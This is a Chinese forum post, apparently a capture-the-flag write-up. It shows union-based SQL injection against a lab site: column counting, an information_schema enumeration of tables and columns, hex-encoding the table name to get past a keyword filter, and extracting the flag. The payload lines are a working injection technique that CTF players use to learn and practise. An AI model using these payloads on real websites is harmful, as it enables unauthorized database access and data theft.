本帖最后由 zesiar 于 2020-2-9 22:39 编辑  
 
1.依次填入id=1,2,3,都有返回,id=4时没有返回猜测数据库一共有四列,用内置函数database()进行爆破获取数据库的名字 
id=0' union select 1,2,3,database() 
 
 
 
 
至于为什么使用union select 的时候再后面添加1,2,3,这几个数字纯粹是凑数的,凑够和union关键字前面的那个表的字段数一样,不然没法拼接成一个表。在sql注入的时候,在将相应位置替换成你想获得的数据,查询结果后面就会显示出来。 
此处可以看出数据库的名字叫做skctf_flag 
这里记一点零碎的知识: 
mysql中的information_schema 结构用来存储数据库系统信息 
用该语句得到当前库的所有表 
select group_concat(table_name) from information_schema.tables where table_schema=database() 
得到表中的字段名 将敏感的表进行16进制编码 
现在我们去爆破表名 
 
2.得到表名fl4g,sc,我们要的数据就在fl4g里面 
再将fl4g转换为十六进制,避过敏感词汇 
 
 
select group_concat(column_name) from information_schema.columns where table_name=0x666c3467# 
 
得到字段的具体值skctf_flag 
3.select group_concat(username,0x3a,password) from adminuser,由此我们构造skctf_flag from fl4g 
得到flag 
 
 
 |